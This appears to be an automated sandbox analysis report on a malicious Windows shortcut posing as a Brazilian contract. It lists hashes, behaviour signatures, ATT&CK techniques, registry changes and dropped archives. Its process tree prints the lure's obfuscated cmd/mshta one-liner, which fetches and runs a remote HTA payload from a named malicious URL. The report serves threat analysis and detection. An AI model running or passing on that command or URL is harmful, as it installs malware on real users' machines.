65bae2a885edf564bb0e17d3e457f2a8f7fb7278074e6f2eb614945dc21372b9

General

Target
Contrato_Indeniza_Brasil-8BIH8D.lnk
Size 1KB
Sample260803-pyebgahf75
SHA256 65bae2a885edf564bb0e17d3e457f2a8f7fb7278074e6f2eb614945dc21372b9
MD5 e9ad1ef39d5103e107915e6e84f14e5f
SHA1 74d94327497528d28fe10f352169953d3c960c7b
SHA512 f0c361dcce72e9521f3630cc74ac2cb0ebcdb871b402ee62ad6451709f3ce08b5db8f021e36eaf1985621baad441766b98321658142b6ce3efdba977c3f5805b
TLSH
T1B93168407EFD0714F3B39E7685BB572199BAF8958E208A1D4054454C1422E01E67AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

adware defense_evasion discovery execution persistence ransomware spyware

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

Badlisted process makes network request 9 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	1224	mshta.exe
7	1224	mshta.exe
9	1224	mshta.exe
10	1224	mshta.exe
11	1224	mshta.exe
14	1224	mshta.exe
15	1224	mshta.exe
16	1224	mshta.exe
17	1224	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2700	cmd.exe
696	cmd.exe
4756	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4756	cmd.exe
2920	PING.EXE

Modifies Internet Explorer settings 1 TTPs 8 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe

Modifies registry class 20 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Extensible Cache	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheLimit = "51200"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheVersion = "1"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheLimit = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheVersion = "1"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheLimit = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\Local Settings\MuiCache	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\Local Settings\MuiCache	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheVersion = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:"	rundll32.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2920	PING.EXE

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	15	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
5884	rundll32.exe
3012	rundll32.exe
6116	rundll32.exe
2944	rundll32.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2700 wrote to memory of 696	2700	cmd.exe	91
PID 696 wrote to memory of 1224	696	cmd.exe	92
PID 1224 wrote to memory of 5884	1224	mshta.exe	93
PID 1224 wrote to memory of 3012	1224	mshta.exe	94
PID 1224 wrote to memory of 6116	1224	mshta.exe	95
PID 1224 wrote to memory of 2944	1224	mshta.exe	96
PID 1224 wrote to memory of 1344	1224	mshta.exe	97
PID 2944 wrote to memory of 5340	2944	rundll32.exe	99
PID 6116 wrote to memory of 988	6116	rundll32.exe	100

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1344	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-8BIH8D.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2700
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set rInVc=msh&&set TocBp=ta&&start "" !rInVc!!TocBp! https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:696
- - C:\Windows\System32\mshta.exe
    mshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
    3⤵
    - Badlisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:1224
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      PID:5884
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:2876
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      PID:3012
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:3444
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:6116
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        Modifies registry class
        
        PID:988
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:2944
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        Modifies registry class
        
        PID:5340
  - - C:\Windows\System32\attrib.exe
      "C:\Windows\System32\attrib.exe" +h +s "C:\spteszxi\"
      4⤵
      Views/modifies file attributes
      PID:1344
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      PID:4216
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:6012
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ping -n 300 -w 1000 127.0.0.1 >nul
      4⤵
      Executes a command shell one-liner
      System Network Configuration Discovery: Internet Connection Discovery
      PID:4756
    - - C:\Windows\System32\PING.EXE
        
        ping -n 300 -w 1000 127.0.0.1
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2920

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

Windows Command Shell

1

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

1

T1564

Hidden Files and Directories

Modify Registry

Credential Access

Discovery

Query Registry

1

T1012

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

a2.zip

Path C:\spteszxi\a2.zip
Size 1.3MB
SHA256 e0009dca6cc73677e26a66ff1efa44c60bb68f218aac62d48b6c697edd05043c
MD5 d0c8ae70d531b9d02d915a8de375a993
SHA1 e5bacb1c5f398148de0ac3f70db61f264b980507
SHA512 0a9ae1153aa12b6761d5d0bddc72789d6b2d7136227339f78f5b8e8756ea6589b804954b8242a6512b141b5025459fd32852479dae21bc941903b670e81c341b
SSDEEP 24576:fAuYNwua6NduNqjRt1pSdu4E0mcKptG6lgVT0kQkmSp9QpDH1tMlyax:fAuSw7Ku4xpSd7m7BlgVQmvQJH1tA
TLSH
T12E553355B7EDDF14E07D52A1C9C14ED42EE304ADBFE8CC081AC84788D5D236DA948EBA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

a3.zip

Path C:\spteszxi\a3.zip
Size 2KB
SHA256 7eed72b5db9b3a8974d85941eb451e6f02937b050cc59cb9535160208f0d2bcd
MD5 e3c9f7fbd06dd28410eca7bf203b0889
SHA1 3cd117deb1891f780f032552f0040506283c85c1
SHA512 933c0e5235f44eea38e0417849ca58c40dc343ddd43b9c891c4fa434d875b6a9290d83a76b7fe78f0fb96a0325e8b7fe31a740d6c220dc277d7214497920aa51
TLSH
T196413CE88E7CBDA0D68E79749E14547055372DC495C061A90EBEEC041130398CE2E42C
MD5 SHA1 SHA512 TLSH